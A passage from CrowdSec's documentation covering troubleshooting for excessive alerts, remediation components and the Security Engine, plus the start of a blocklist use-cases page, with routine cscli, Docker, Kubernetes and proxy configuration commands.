thresholds set too low or matching too broadly can trigger excessive alerts. * [**Parser creating duplicate events**](#parser-creating-duplicate-events): A parser issue causing the same log line to generate multiple events. * [**Actual large-scale attack**](#legitimate-large-scale-attack): A genuine distributed attack (DDoS, brute force campaign) targeting your infrastructure. * [**Custom scenario misconfigured *blackhole***](#custom-scenario-missing-blackhole-param): A custom scenario without the proper [*`blackhole`*](https://doc.crowdsec.net/docs/next/log_processor/scenarios/format/#blackhole) setting may generate alert spam ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Misconfigured or Overly Sensitive Scenario[โ€‹](#misconfigured-or-overly-sensitive-scenario "Direct link to Misconfigured or Overly Sensitive Scenario") CrowdSec default scenarios are usually not misconfigured. This section mostly applies to custom or third-party scenarios, or scenarios you modified. If you do not use non-default scenarios, still investigate, but the issue is more likely upstream (acquisition, profile, or logging). #### ๐Ÿ”Ž Identify problematic scenarios[โ€‹](#-identify-problematic-scenarios "Direct link to ๐Ÿ”Ž Identify problematic scenarios") 1. Identify which scenarios are generating the most alerts: SHCOPY ``` sudo cscli alerts list -l 100 ``` Run this command for Docker or Kubernetes Docker SHCOPY ``` docker exec crowdsec cscli alerts list -l 100 ``` Kubernetes SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli alerts list -l 100 ``` 2. Look for patterns: * Is one scenario dominating the alert count? * Are the same IPs repeatedly triggering alerts? * Are alerts legitimate threats or false positives? 3. Check metrics for scenario overflow: SHCOPY ``` sudo cscli metrics show scenarios ``` Run this command for Docker or Kubernetes SHCOPY ``` docker exec crowdsec cscli metrics show scenarios ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli metrics show scenarios ``` Look for scenarios with extremely high "Overflow" counts or "Current count" numbers. #### ๐Ÿ› ๏ธ Tuning or Disabling the scenario[โ€‹](#๏ธ-tuning-or-disabling-the-scenario "Direct link to ๐Ÿ› ๏ธ Tuning or Disabling the scenario") If you identify a problematic scenario, try the following: ##### Tuning the scenario threshold[โ€‹](#tuning-the-scenario-threshold "Direct link to Tuning the scenario threshold") If the scenario is triggering too easily, you can create a custom version with adjusted thresholds. See the [scenario documentation](https://docs.crowdsec.net/docs/scenarios/intro) for details on customizing scenarios. ##### Disabling the scenario temporarily[โ€‹](#disabling-the-scenario-temporarily "Direct link to Disabling the scenario temporarily") You have multiple ways to do this, among which the following 2: * Removing the scenario * Whitelisting it in [postoverflow](https://docs.crowdsec.net/log_processor/whitelist/create_postoverflow#allow-event-for-a-specific-scenario) ### Parser Creating Duplicate Events[โ€‹](#parser-creating-duplicate-events "Direct link to Parser Creating Duplicate Events") #### ๐Ÿ”Ž Test parsing with sample log lines[โ€‹](#-test-parsing-with-sample-log-lines "Direct link to ๐Ÿ”Ž Test parsing with sample log lines") Use `cscli explain` to test parsing: SHCOPY ``` sudo cscli explain --log "" --type ``` Check if the log line generates multiple events incorrectly. #### ๐Ÿ› ๏ธ Review parser configuration or report issue[โ€‹](#๏ธ-review-parser-configuration-or-report-issue "Direct link to ๐Ÿ› ๏ธ Review parser configuration or report issue") Review parser configuration or report the issue to the [CrowdSec Hub](https://github.com/crowdsecurity/hub/issues). ### Legitimate Large-Scale Attack[โ€‹](#legitimate-large-scale-attack "Direct link to Legitimate Large-Scale Attack") #### ๐Ÿ”Ž Review alert patterns to confirm genuine attack[โ€‹](#-review-alert-patterns-to-confirm-genuine-attack "Direct link to ๐Ÿ”Ž Review alert patterns to confirm genuine attack") Review alert patterns to confirm a genuine attack: SHCOPY ``` # On host sudo cscli alerts list -l 100 # Docker docker exec crowdsec cscli alerts list -l 100 # Kubernetes kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli alerts list -l 100 ``` Look for: * Multiple different source IPs targeting the same services * Realistic attack patterns (brute force, scanning, etc.) * Alerts matching known attack signatures #### ๐Ÿ› ๏ธ Verify remediation is blocking attackers[โ€‹](#๏ธ-verify-remediation-is-blocking-attackers "Direct link to ๐Ÿ› ๏ธ Verify remediation is blocking attackers") If you're experiencing a real attack: 1. **Verify your remediation components are working** to block attackers 2. **Check that decisions are being applied**: `cscli decisions list` 3. **Consider increasing timeout durations** in profiles if attackers are returning 4. **Subscribe to Community Blocklist** for proactive blocking of known malicious IPs 5. **Monitor your infrastructure** for the attack's impact ### Custom scenario missing blackhole param[โ€‹](#custom-scenario-missing-blackhole-param "Direct link to Custom scenario missing blackhole param") #### ๐Ÿ”Ž Check scenario bucket configuration[โ€‹](#-check-scenario-bucket-configuration "Direct link to ๐Ÿ”Ž Check scenario bucket configuration") If you have custom scenarios, verify they have proper bucket lifecycle settings (blackhole parameter) to prevent unlimited bucket accumulation: SHCOPY ``` # Check custom scenarios sudo cscli scenarios list | grep -i local # Inspect scenario configuration sudo cat /etc/crowdsec/scenarios/my-custom-scenario.yaml ``` Look for the `blackhole` parameter in the scenario configuration. This parameter sets how long a bucket should live after not receiving events. #### ๐Ÿ› ๏ธ Add blackhole parameter to your custom scenarios[โ€‹](#๏ธ-add-blackhole-parameter-to-your-custom-scenarios "Direct link to ๐Ÿ› ๏ธ Add blackhole parameter to your custom scenarios") If your custom scenario is missing the `blackhole` parameter, add it to prevent unlimited bucket accumulation: YAMLCOPY ``` type: leaky name: my-org/my-custom-scenario description: "Custom scenario description" filter: "evt.Meta.service == 'my-service'" leakspeed: "10s" capacity: 5 blackhole: 5m # Add this: buckets expire 5 minutes after last event labels: remediation: true ``` The `blackhole` parameter defines how long a bucket persists after no longer receiving events. Without it, buckets can accumulate indefinitely, consuming memory and generating excessive alerts. ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After making changes: 1. Restart or reload CrowdSec: `sudo systemctl restart crowdsec` 2. Monitor alert generation for 30 minutes: SHCOPY ``` watch -n 30 'cscli alerts list | head -20' ``` 3. Check metrics: `sudo cscli metrics show scenarios` 4. Verify alert volume has returned to normal levels ## Performance Impact[โ€‹](#performance-impact "Direct link to Performance Impact") Excessive alerts can impact performance: * **High memory usage**: Each active scenario bucket consumes memory * **Database growth**: Large numbers of alerts increase database size * **API latency**: Bouncers may experience slower decision pulls If performance is degraded, consider: * Cleaning old alerts: `cscli alerts delete --all` (after investigation) * Reviewing database maintenance: [Database documentation](https://docs.crowdsec.net/docs/local_api/database) ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Security Engine Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/security_engine.md) - General Security Engine issues * [Log Processor No Logs Parsed](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md) - If parsing is creating unusual events ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you need assistance analyzing alert patterns: * Share anonymized alert samples on [Discourse](https://discourse.crowdsec.net/) * Ask on [Discord](https://discord.gg/crowdsec) with your `cscli metrics show scenarios` output --- # Troubleshooting Remediation Components ## Community support[โ€‹](#community-support "Direct link to Community support") Please try to resolve your issue by reading the documentation. If you're unable to find a solution, don't hesitate to seek assistance in: * [Discourse](https://discourse.crowdsec.net/) * [Discord](https://discord.gg/crowdsec) info `{component}` is used as a placeholder for the name of the component you are using. For example `crowdsec-firewall-bouncer` for the firewall bouncer. ## Health[โ€‹](#health "Direct link to Health") ### How to check the status[โ€‹](#how-to-check-the-status "Direct link to How to check the status") * Linux/Freebsd * Windows SHCOPY ``` sudo systemctl status {component} ``` SHCOPY ``` Get-Service {component} ``` ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Where is configuration stored?[โ€‹](#where-is-configuration-stored "Direct link to Where is configuration stored?") Configuration files by default are located in: * **Linux** `/etc/crowdsec/bouncers/` * **Freebsd** `/usr/local/etc/crowdsec/bouncers/` * **Windows** `C:\ProgramData\CrowdSec\bouncers\` ## Logs[โ€‹](#logs "Direct link to Logs") ### Where are the logs stored?[โ€‹](#where-are-the-logs-stored "Direct link to Where are the logs stored?") By default Remediation components will log to the following locations depending on platform: * **Linux** `/var/log/{component}.log` * **Freebsd** `/var/log/{component}.log` * **Opnsense** `/var/log/crowdsec/{component}.log` * **Pfsense** `/var/log/crowdsec/{component}.log` * **Windows** `C:\ProgramData\CrowdSec\log\{component}.log` ### Filtering logs to only show errors[โ€‹](#filtering-logs-to-only-show-errors "Direct link to Filtering logs to only show errors") Use OS-specific commands to filter logs and show only errors. * Linux/Freebsd * Windows SHCOPY ``` sudo grep -E "level=(error|fatal)" /var/log/{component}.log ``` * Powershell * CMD SHCOPY ``` Select-String "level=(error|fatal)" C:\ProgramData\CrowdSec\log\{component}.log ``` SHCOPY ``` findstr "level=error level=fatal" C:\ProgramData\CrowdSec\log\{component}.log ``` **Please make sure the log location matches your distribution.** ## My Remediation Component shows no errors in its log file but still fails to start/work[โ€‹](#my-remediation-component-shows-no-errors-in-its-log-file-but-still-fails-to-startwork "Direct link to My Remediation Component shows no errors in its log file but still fails to start/work") This usually means the bouncer cannot parse its configuration file. To identify the failing line, use systemd/journalctl: SHCOPY ``` sudo systemctl status -l ``` SHCOPY ``` sudo journalctl -u -l ``` ## Common Issues[โ€‹](#common-issues "Direct link to Common Issues") ### Cannot connect to the local API[โ€‹](#cannot-connect-to-the-local-api "Direct link to Cannot connect to the local API") * **error** message might look like: TEXTCOPY ``` level=error msg="auth-api: auth with api key failed return nil response, error: dial tcp 127.0.0.1:8080: connect: connection refused" ``` * **solution** verify that the local API runs on the logged IP and port. If the logged IP/port is incorrect, edit the bouncer configuration file. If it is correct, verify that the local API is running. ### Cannot authenticate to the local API[โ€‹](#cannot-authenticate-to-the-local-api "Direct link to Cannot authenticate to the local API") * **error** message might look like: TEXTCOPY ``` time="19-04-2022 15:43:07" level=error msg="API error: access forbidden" ``` * **solution** regenerate the API key via [cscli bouncers](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers_add.md) and replace the old one in the bouncer configuration file. Do not reuse the same key name. --- # Troubleshooting Security Engine ## Community support[โ€‹](#community-support "Direct link to Community support") Please try to resolve your issue by reading the documentation. If you're unable to find a solution, don't hesitate to seek assistance in: * [Discourse](https://discourse.crowdsec.net/) * [Discord](https://discord.gg/crowdsec) ## Health[โ€‹](#health "Direct link to Health") ### How to check the status[โ€‹](#how-to-check-the-status "Direct link to How to check the status") info If you have any doubt about your setup, please use the [HealthCheck Guide](https://docs.crowdsec.net/u/getting_started/health_check.md) * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo systemctl status crowdsec ``` SHCOPY ``` Get-Service crowdsec ``` SHCOPY ``` kubectl get pods -n crowdsec ``` ### How to check if CAPI is reachable[โ€‹](#how-to-check-if-capi-is-reachable "Direct link to How to check if CAPI is reachable") SHCOPY ``` cscli capi status ``` Example output SHCOPY ``` time="2024-01-08 14:08:20" level=info msg="Loaded credentials from /etc/crowdsec/online_api_credentials.yaml" time="2024-01-08 14:08:20" level=info msg="Trying to authenticate with username XXXXXXXXXXX on https://api.crowdsec.net/" time="2024-01-08 14:08:22" level=info msg="You can successfully interact with Central API (CAPI)" ``` info This command should **ONLY** be run on the parent node. ### How do I know if my setup is working correctly? Are some unparsed logs normal?[โ€‹](#how-do-i-know-if-my-setup-is-working-correctly-are-some-unparsed-logs-normal "Direct link to How do I know if my setup is working correctly? Are some unparsed logs normal?") Yes, Security Engine parsers only parse the logs that are relevant for scenarios. Take a look at `cscli metrics` [and understand what do they mean](https://docs.crowdsec.net/docs/next/observability/cscli.md) to know if your setup is correct. You can take an extra step and use [`cscli explain` to understand what log lines are parsed, and how](https://docs.crowdsec.net/docs/next/cscli/cscli_explain.md): ![cscli-explain](/assets/images/cscli_explain-8fc736653d972ecc1a32bf510c340f7d.png) ### Why are some logs not parsed in `cscli metrics`?[โ€‹](#why-are-some-logs-not-parsed-in-cscli-metrics "Direct link to why-are-some-logs-not-parsed-in-cscli-metrics") If logs do not seem to be parsed correctly, use [`cscli explain`](https://docs.crowdsec.net/docs/cscli/cscli_explain): TEXTCOPY ``` # cscli explain --log "May 16 07:50:30 sd-126005 sshd[10041]: Invalid user git from 78.142.18.204 port 47738" --type syslog line: May 16 07:50:30 sd-126005 sshd[10041]: Invalid user git from 78.142.18.204 port 47738 โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs (first_parser) โ”œ s01-parse | โ”œ ๐Ÿ”ด crowdsecurity/iptables-logs | โ”œ ๐Ÿ”ด crowdsecurity/mysql-logs | โ”œ ๐Ÿ”ด crowdsecurity/nginx-logs | โ”” ๐ŸŸข crowdsecurity/sshd-logs (+6 ~1) โ”œ s02-enrich | โ”œ ๐ŸŸข crowdsecurity/dateparse-enrich (+2 ~1) | โ”œ ๐ŸŸข crowdsecurity/geoip-enrich (+13) | โ”œ ๐Ÿ”ด crowdsecurity/http-logs | โ”” ๐ŸŸข crowdsecurity/whitelists (unchanged) โ”œ-------- parser success ๐ŸŸข โ”œ Scenarios โ”œ ๐ŸŸข crowdsecurity/ssh-bf โ”œ ๐ŸŸข crowdsecurity/ssh-bf_user-enum โ”œ ๐ŸŸข crowdsecurity/ssh-slow-bf โ”” ๐ŸŸข crowdsecurity/ssh-slow-bf_user-enum ``` This command shows how each parser behaves. warning Do **not** use `cscli explain` on big log files, as this command will buffer a lot of information in memory to achieve this. If you want to check crowdsec's behaviour on big log files, please see [replay mode](https://docs.crowdsec.net/u/user_guides/replay_mode.md). ### I want to add collection X: how do I add log files and test that it works?[โ€‹](#i-want-to-add-collection-x-how-do-i-add-log-files-and-test-that-it-works "Direct link to I want to add collection X: how do I add log files and test that it works?") When adding a collection to your setup, the [hub](https://hub.crowdsec.net) will usually specify log files to add. ## Decisions[โ€‹](#decisions "Direct link to Decisions") ### How to list current decisions[โ€‹](#how-to-list-current-decisions "Direct link to How to list current decisions") SHCOPY ``` cscli decisions list ``` Additional filtering is possible please read [cscli decisions list](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_list.md) for more information. ### How to remove a decision on an IP[โ€‹](#how-to-remove-a-decision-on-an-ip "Direct link to How to remove a decision on an IP") SHCOPY ``` cscli decisions delete -i x.x.x.x ``` Additional filtering is possible please read [cscli decisions delete](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_delete.md) for more information. ### How to control granularity of decisions[โ€‹](#how-to-control-granularity-of-decisions "Direct link to How to control granularity of decisions") The Security Engine is designed to be as flexible as possible, and allows you to control the granularity of decisions. [Profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md) allows you to control which decision will be applied to which alert. ### How to add whitelists or prevent the Security Engine from banning a given IP[โ€‹](#how-to-add-whitelists-or-prevent-the-security-engine-from-banning-a-given-ip "Direct link to How to add whitelists or prevent the Security Engine from banning a given IP") Recommended ways to prevent a specific IP from being banned: * [Use Centralized AllowLists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) - Works on local decisions, blocklists and can be controlled from the Console. * [Parser Whitelists](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) - Applies directly on the log parsing pipeline. #### I need to whitelist an event pattern instead of a single IP address[โ€‹](#i-need-to-whitelist-an-event-pattern-instead-of-a-single-ip-address "Direct link to I need to whitelist an event pattern instead of a single IP address") You can exclude specific events [using whitelist parsers](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md). It can discard events based on a specific URL, source IP address, or any other condition. ## Scenarios[โ€‹](#scenarios "Direct link to Scenarios") ### Why are some scenarios/parsers "tainted" or "custom"?[โ€‹](#why-are-some-scenariosparsers-tainted-or-custom "Direct link to Why are some scenarios/parsers \"tainted\" or \"custom\"?") When using `cscli` to list your parsers, scenarios, and collections, some might appear as "tainted" or "local". "tainted" items: * Originate from the hub * Were locally modified * Will not be automatically updated/upgraded by `cscli` operations (unless `--force` or similar is specified) * Won't be sent to Central API and won't appear in the Console (unless `cscli console enable tainted` has been specified) "local" items: * Have been locally created by the user * Are not managed by `cscli` operations * Won't be sent to Central API and won't appear in the Console (unless `cscli console enable custom` has been specified) ### Scenario X keeps triggering, it's a false trigger[โ€‹](#scenario-x-keeps-triggering-its-a-false-trigger "Direct link to Scenario X keeps triggering, it's a false trigger") To avoid false positives from a known scenario, you can use: * [Parser Whitelists](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) - Applies directly on the log parsing pipeline. ### Set a custom/tainted scenario in simulation mode[โ€‹](#set-a-customtainted-scenario-in-simulation-mode "Direct link to Set a custom/tainted scenario in simulation mode") If you want to set a custom/tainted scenario in simulation mode, you need to provide the scenario's filename instead of its name. For example, you have a scenario called `crowdsecurity/my-custom-scenario` located in `{config_dir}/scenarios/my_custom_scenario.yaml`. info Please see [configuration section](#where-is-configuration-stored) to see where the file will be located on your system. To enable the simulation mode for this scenario, run: * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo cscli simulation enable my_custom_scenario.yaml ``` SHCOPY ``` cscli.exe simulation enable my_custom_scenario.yaml ``` SHCOPY ``` kubectl exec -it crowdsec-agent-* -n crowdsec -- cscli simulation enable my_custom_scenario.yaml ``` ### My scenario is triggered with less logs than the scenario capacity[โ€‹](#my-scenario-is-triggered-with-less-logs-than-the-scenario-capacity "Direct link to My scenario is triggered with less logs than the scenario capacity") When you install CrowdSec, the CrowdSec Wizard runs automatically to find and add basic log files to the acquisition configuration. If you run the 'wizard.sh' script again after installing and you have common log files, they might be added multiple times to your acquisition configuration. This causes CrowdSec to read each log line as many times as the file is configured in the acquisition settings. Please review your acquisition files and remove any duplicate log entries. ### Is scenario X working on my logs?[โ€‹](#is-scenario-x-working-on-my-logs "Direct link to Is scenario X working on my logs?") To test if logs are correctly parsed and checked by scenarios, use: * [Replay mode](https://docs.crowdsec.net/u/user_guides/replay_mode.md) allows you to process cold logs and see scenarios triggered. * [`cscli explain`](https://docs.crowdsec.net/docs/next/cscli/cscli_explain.md) allows you to inspect the parsing process for one or more log lines. ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Where is configuration stored?[โ€‹](#where-is-configuration-stored "Direct link to Where is configuration stored?") See [CrowdSec Configuration](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md). ### Where is data stored?[โ€‹](#where-is-data-stored "Direct link to Where is data stored?") CrowdSec stores its data in `/var/lib/crowdsec/data/` folder for UNIX and `C:\ProgramData\CrowdSec\data\` for Windows. This is where the default sqlite database and data files needed for scenarios are kept. ### Which databases does the Security Engine support and how to switch?[โ€‹](#which-databases-does-the-security-engine-support-and-how-to-switch "Direct link to Which databases does the Security Engine support and how to switch?") Security Engine supports SQLite (default), MySQL, and PostgreSQL databases. See [databases configuration](https://docs.crowdsec.net/docs/next/local_api/database.md) for relevant configuration. Thanks to the [Local API](https://docs.crowdsec.net/docs/next/local_api/intro.md), distributed architectures are resolved even with sqlite database. ### Multi-server setup[โ€‹](#multi-server-setup "Direct link to Multi-server setup") For multi-server setups, use one of the following: * [distributed architecture](https://docs.crowdsec.net/u/user_guides/multiserver_setup.md). * [log centralization approach](https://docs.crowdsec.net/u/user_guides/log_centralization.md) ## Logs[โ€‹](#logs "Direct link to Logs") ### Where are the logs stored?[โ€‹](#where-are-the-logs-stored "Direct link to Where are the logs stored?") By default CrowdSec will log to the following locations depending on platform: * **Linux** `/var/log/crowdsec.log` * **Freebsd** `/var/log/crowdsec.log` * **Opnsense** `/var/log/crowdsec/crowdsec.log` * **Pfsense** `/var/log/crowdsec/crowdsec.log` * **Windows** `C:\ProgramData\CrowdSec\log\crowdsec.log` * **Kubernetes** `kubectl logs -n crowdsec crowdsec-(agent|lapi)-*` These are the default log locations. Third-party integrations may use different paths. info If you are unsure where CrowdSec is logging you can view the configuration file `config.yaml` and look for `log_dir` to see the configured location. ### Filtering logs to only show errors[โ€‹](#filtering-logs-to-only-show-errors "Direct link to Filtering logs to only show errors") Use OS-specific commands to filter logs and show only errors. * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo grep -E "level=(error|fatal)" /var/log/crowdsec.log ``` * Powershell * CMD SHCOPY ``` Select-String "level=(error|fatal)" C:\ProgramData\CrowdSec\log\crowdsec.log ``` SHCOPY ``` findstr "level=error level=fatal" C:\ProgramData\CrowdSec\log\crowdsec.log ``` SHCOPY ``` kubectl logs -n crowdsec crowdsec-agent-* | grep -E "level=(error|fatal)" ``` **Please make sure the log location matches your distribution.** ## Common Errors[โ€‹](#common-errors "Direct link to Common Errors") info If it's a configuration file issue, the error message may log in a different location. As an example, if a parser/scenario file is invalid, the error message will be logged within the configured log file, however, if `config.yaml` is invalid, the error message will be logged in syslog instead. ### Cannot bind to the configured port or IP[โ€‹](#cannot-bind-to-the-configured-port-or-ip "Direct link to Cannot bind to the configured port or IP") * **error** message might look like: TEXTCOPY ``` level=fatal msg="while serving local API: listen tcp 127.0.0.1:8080: bind: address already in use" ``` * **solution** verify another service is not already using the port or ip address + port combination. If it is, you can edit the `listen_uri` in the configuration file `config.yaml` and update `local_api_credentials.yaml` to the same value. Then you can restart CrowdSec with `sudo systemctl restart crowdsec`. ### Cannot authenticate to the local API[โ€‹](#cannot-authenticate-to-the-local-api "Direct link to Cannot authenticate to the local API") * **error** message might look like: TEXTCOPY ``` level=fatal msg="starting outputs error : authenticate watcher (fcb7303c4df44c03ada289dd7ec3dbe7cU3GaseSWdqUaVg6): API error: ent: machine not found" ``` * **solution** regenerate the credentials via [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_add.md) command. If the local API is on the same machine you can run `sudo cscli machines add -a` (`-a` will automatically generate a random machine name and password). Then you can restart CrowdSec with `sudo systemctl restart crowdsec`. ### Cannot connect to the local API[โ€‹](#cannot-connect-to-the-local-api "Direct link to Cannot connect to the local API") * **error** message might look like: TEXTCOPY ``` level=error msg="error while performing request: dial tcp 127.0.0.1:8080: connect: connection refused; 4 retries left" ``` info There may be other variations of this message. If it contains `connection refused`, `connection reset by peer`, or `no such host`, it is likely a connectivity or configuration issue. * **solution** verify that the local API runs on the logged IP and port. If the logged IP and port is incorrect, you can update `/etc/crowdsec/local_api_credentials.yaml` to the correct IP and port (If local API is running on the same machine you can run `grep listen_uri /etc/crowdsec/config.yaml` to find it). Then you can restart CrowdSec with `sudo systemctl restart crowdsec`. If the logged IP and port is correct, verify that the local API is running via `sudo systemctl status crowdsec`. ### Cannot start because of an invalid configuration file[โ€‹](#cannot-start-because-of-an-invalid-configuration-file "Direct link to Cannot start because of an invalid configuration file") * **error** message might look like: TEXTCOPY ``` level=fatal msg="/etc/crowdsec/config.yaml: yaml: unmarshal errors:\n line 1: field test not found in type csconfig.Config" ``` * **solution** CrowdSec will inform you which field or line is invalid. You can edit the configuration file and fix the error. Then you can restart CrowdSec with `sudo systemctl restart crowdsec`. If you are unsure what the configuration file should look like you can find the default configuration files [here](https://github.com/crowdsecurity/crowdsec/tree/master/config) or examples via the [documentation](https://docs.crowdsec.net/docs/configuration/crowdsec_configuration). ## General Questions[โ€‹](#general-questions "Direct link to General Questions") ### How to report a bug[โ€‹](#how-to-report-a-bug "Direct link to How to report a bug") To report a bug, open an issue on the affected component repository: [CrowdSec Repo](https://github.com/crowdsecurity/crowdsec/issues/new/choose) [CrowdSec Hub Repo](https://github.com/crowdsecurity/hub/issues/new/choose) info CrowdSec Hub should be used when you have an issue with a parser, scenario, or collection. ### What license is provided?[โ€‹](#what-license-is-provided "Direct link to What license is provided?") The Security Engine and Remediation Components are provided under the [MIT license](https://en.wikipedia.org/wiki/MIT_License). ### What is CrowdSec Security Engine?[โ€‹](#what-is-crowdsec-security-engine "Direct link to What is CrowdSec Security Engine?") CrowdSec Security Engine is open-source security software. See the [overview](https://docs.crowdsec.net/docs/next/intro.md). ### What language is it written in?[โ€‹](#what-language-is-it-written-in "Direct link to What language is it written in?") CrowdSec Security Engine is written in [Golang](https://golang.org/). ### What resources are needed to run Security Engine?[โ€‹](#what-resources-are-needed-to-run-security-engine "Direct link to What resources are needed to run Security Engine?") Security Engine itself is rather light, and in a small to medium setup should use less than 100Mb of memory. During intensive logs processing, CPU is going to be the most used resource, and memory should grow slightly. ### How fast is it[โ€‹](#how-fast-is-it "Direct link to How fast is it") The Security Engine can easily handle several thousands of events per second on a rich pipeline (multiple parsers, geoip enrichment, scenarios and so on). Logs are a good fit for sharding by default, so it is definitely the way to go if you need to handle higher throughput. If you need help with large-scale deployment, please contact us through this [form](https://contact.crowdsec.net/business-request). #### What is the performance impact?[โ€‹](#what-is-the-performance-impact "Direct link to What is the performance impact?") As the Security Engine only works on logs, it shouldn't impact your production. When it comes to [remediation components](https://docs.crowdsec.net/u/bouncers/intro.md), please refer to their [documentation](https://docs.crowdsec.net/u/bouncers/intro.md). ### Which information is sent to your services?[โ€‹](#which-information-is-sent-to-your-services "Direct link to Which information is sent to your services?") See [CAPI documentation](https://docs.crowdsec.net/docs/next/central_api/intro.md). ### How to set up a proxy[โ€‹](#how-to-set-up-a-proxy "Direct link to How to set up a proxy") Setting up a proxy works out of the box, the [net/http golang library](https://golang.org/src/net/http/transport.go) can handle those environment variables: * `HTTP_PROXY` * `HTTPS_PROXY` * `NO_PROXY` For example: SHCOPY ``` export HTTP_PROXY=http://: ``` #### Systemd variable[โ€‹](#systemd-variable "Direct link to Systemd variable") On Systemd devices you have to set the proxy variable in the environment section for the CrowdSec service. To avoid overwriting the service file during an update, a folder is created in `/etc/systemd/system/crowdsec.service.d` and a file in it named `http-proxy.conf`. The content for this file should look something like this: systemctl edit crowdsec.service SHsystemctl edit crowdsec.serviceCOPY ``` [Service] Environment=HTTP_PROXY=http://myawesomeproxy.com:8080 Environment=HTTPS_PROXY=https://myawesomeproxy.com:443 Environment=NO_PROXY=127.0.0.1,localhost,0.0.0.0 ``` After this change you need to reload the systemd daemon using: `systemctl daemon-reload` Then you can restart CrowdSec like this: `systemctl restart crowdsec` #### Sudo[โ€‹](#sudo "Direct link to Sudo") If you use `sudo cscli`, just add this line in `visudo` after setting up the previous environment variables: TEXTCOPY ``` Defaults env_keep += "HTTP_PROXY HTTPS_PROXY NO_PROXY" ``` #### Tor[โ€‹](#tor "Direct link to Tor") You can configure `cscli` and `crowdsec` to use [tor](https://www.torproject.org/) to anonymously interact with our API. All (http) requests made to the central API to go through the [tor network](https://www.torproject.org/). With tor installed, setting `HTTP_PROXY` and `HTTPS_PROXY` environment variables to your socks5 proxy, as well as setting `NO_PROXY` to local addresses to prevent LAPI errors, will do the trick. ##### Edit crowdsec systemd unit to push/pull via tor[โ€‹](#edit-crowdsec-systemd-unit-to-pushpull-via-tor "Direct link to Edit crowdsec systemd unit to push/pull via tor") systemctl edit crowdsec.service SHsystemctl edit crowdsec.serviceCOPY ``` [Service] Environment="HTTPS_PROXY=socks5://127.0.0.1:9050" Environment="HTTP_PROXY=socks5://127.0.0.1:9050" Environment="NO_PROXY=127.0.0.1,localhost,0.0.0.0" ``` ##### Running the wizard with tor[โ€‹](#running-the-wizard-with-tor "Direct link to Running the wizard with tor") SHCOPY ``` $ sudo HTTPS_PROXY=socks5://127.0.0.1:9050 HTTP_PROXY=socks5://127.0.0.1:9050 NO_PROXY=127.0.0.1,localhost,0.0.0.0 ./wizard.sh --bininstall ``` caution Do not use the wizard in interactive (`-i`) mode if you're concerned, as it will start the service at the end of the setup, leaking your IP address. ##### cscli[โ€‹](#cscli "Direct link to cscli") SHCOPY ``` $ sudo HTTP_PROXY=socks5://127.0.0.1:9050 HTTPS_PROXY=socks5://127.0.0.1:9050 NO_PROXY=127.0.0.1,localhost,0.0.0.0 cscli capi register ``` ### How to disable the central API[โ€‹](#how-to-disable-the-central-api "Direct link to How to disable the central API") To disable the central API, simply comment out the [`online_client` section of the configuration file](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#online_client). --- # Use Cases and Quick Solutions This page provides quick recommendations for common CrowdSec implementation scenarios. Each use case includes practical implementation paths with links to relevant documentation. tip New to CrowdSec? Start with our [installation guide](https://docs.crowdsec.net/u/getting_started/installation/linux.md) and [health check guide](https://docs.crowdsec.net/u/getting_started/health_check.md). ## Block Known-Bad IPs at the Edge[โ€‹](#block-known-bad-ips-at-the-edge "Direct link to Block Known-Bad IPs at the Edge") Pull up-to-date IP lists from CrowdSec **Blocklist as a Service** endpoints into your edge protection. **Is it for me?** Ideal if you want direct integration into your firewalls. Good option if you are not using a Security Engine and want your CDN or WAF to benefit from CrowdSec's blocklists. **How it works:** * Create a blocklist integration in your console account. * Select blocklists you want to be served by this endpoints. * Use the endpoint's URL and credentials to retrieve the merged and up-to-date list. ๐Ÿ”— **References** * Documentation & Resources * Courses & Videos * Articles - [Blocklist integration Getting started guide](https://docs.crowdsec.net/u/integrations/intro.md) - [Subscribing to blocklists](https://docs.crowdsec.net/u/console/blocklists/subscription.md) - [List of integrations format](https://docs.crowdsec.net/u/integrations/intro.md#current-integrations) - [API management & creating your own blocklists](https://docs.crowdsec.net/u/console/service_api/quickstart/blocklists.md) - [Remediation Component BLaaS integration](https://docs.crowdsec.net/u/integrations/remediationcomponent.md) * [AWS WAF remediation component](https://docs.crowdsec.net/u/bouncers/aws_waf.md) * [Cloudflare Workers remediation component](https://docs.crowdsec.net/u/bouncers/cloudflare-workers) * [Fastly remediation component](https://docs.crowdsec.net/u/bouncers/fastly.md) * [๐ŸŽ“ Leveraging Blocklists for Optimized Protection](https://academy.crowdsec.net/course/leveraging-blocklists-for-optimized-protection) - [Introducing CrowdSec Education and Public Sector Blocklists โ†—๏ธ](https://www.crowdsec.net/blog/introducing-crowdsec-education-and-public-sector-blocklists) - [Breaking 5 Misconceptions of Threat Intelligence Blocklists](https://www.crowdsec.net/blog/5-misconceptions-of-threat-intelligence-blocklists) - [The Real Value of Preemptively Blocking a Cyber Attack โ†—๏ธ](https://www.crowdsec.net/blog/value-of-preemptive-blocking) *** ## Reduce 